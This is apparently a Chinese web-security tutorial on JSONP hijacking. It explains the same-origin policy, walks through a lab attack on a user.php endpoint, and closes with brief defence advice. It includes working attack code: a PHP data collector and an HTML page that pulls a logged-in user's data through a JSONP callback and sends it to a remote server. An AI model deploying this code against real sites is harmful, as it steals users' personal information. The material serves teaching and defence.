JSONP 漏洞

1. JSONP 描述

Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略,同源策略,它是由 Netscape 提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。传入 callback 值会在结果里面直接返回。因此,如果该参数过滤不严格。可以随便输入:callback 值为:alert('1');parseResponse 字符串,返回结果会打印个 alert 窗口,然后也会正常执行。

攻击者模拟用户向有漏洞的服务器发送 JSONP 请求,然后就获取到了用户的某些信息,再将这些信息发送到攻击者可控的服务。

2. JSONP 原理

jSONP 的最基本的原理是:动态添加一个< script >标签,而 script 标签的 src 属性是没有跨域的限制的。由于同源策略的限制,XmlHttpRequest 只允许请求当前源(域名、协议、端口都相同)的资源,如果要进行跨域请求, 我们可以通过使用 html 的 script 标记来进行跨域请求,并在响应中返回要执行的 script 代码,其中可以直接使用 JSON 传递 javascript 对象。

考虑这样一种情况,存在两个网站 A 和 B,用户在网站 B 上注册并且填写了自己的用户名,手机号,身份证号等信息,并且网站 B 存在一个 jsonp 接口,用户在访问网站 B 的时候。这个 jsonp 接口会返回用户的个人信息,并在网站 B 的 html 页面上进行显示。如果网站 B 对此 jsonp 接口的来源验证存在漏洞,那么当用户访问网站 A 时,网站 A 便可以利用此漏洞进行 JSONP 劫持来获取用户的信息。

3. jsonp 漏洞攻击方法

攻击方法与 csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的

的页面。就会获取 json 数据,把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口,构造恶意的代码。

发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。

4 jsonp 漏洞攻击案例

访问 json.html 会得到账号和手机号码等敏感信息

user.php 是 json 文件,存在用户的敏感信息

看到页面是没有任何防御,可以直接获取的。

分析代码 user.php 设置头响应是 json 文件,存在可控参数 callback

访问 json.html callback 设置为 jsonp2 会调用 jsonp2 函数 会弹窗用户信息。

5 构造 jsonp 攻击代码

远程文件写入代码

复制代码
<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

jsonp 劫持代码

复制代码
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
        <title></title>
        <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://127.0.0.1/1.php?file=" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://192.168.1.9/user.php?callback=test"></script>
</head>
    <body>
    </body>
</html>

当受害人登入网站之后 访问这个页面时,会自动把接口 user.php 的敏感信息发送到远程服务器上,如果

获取到信息就会在远程服务器上生成 json.txt。

结果

6 jsonp防御

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数

据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏

感的数据获取做权限认证。

相关推荐
云水一下3 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
程序员若风3 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
白猫不黑4 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender4 天前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)4 天前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
sbjdhjd4 天前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑4 天前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑5 天前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
蒲公英eric5 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
Koi慢热6 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全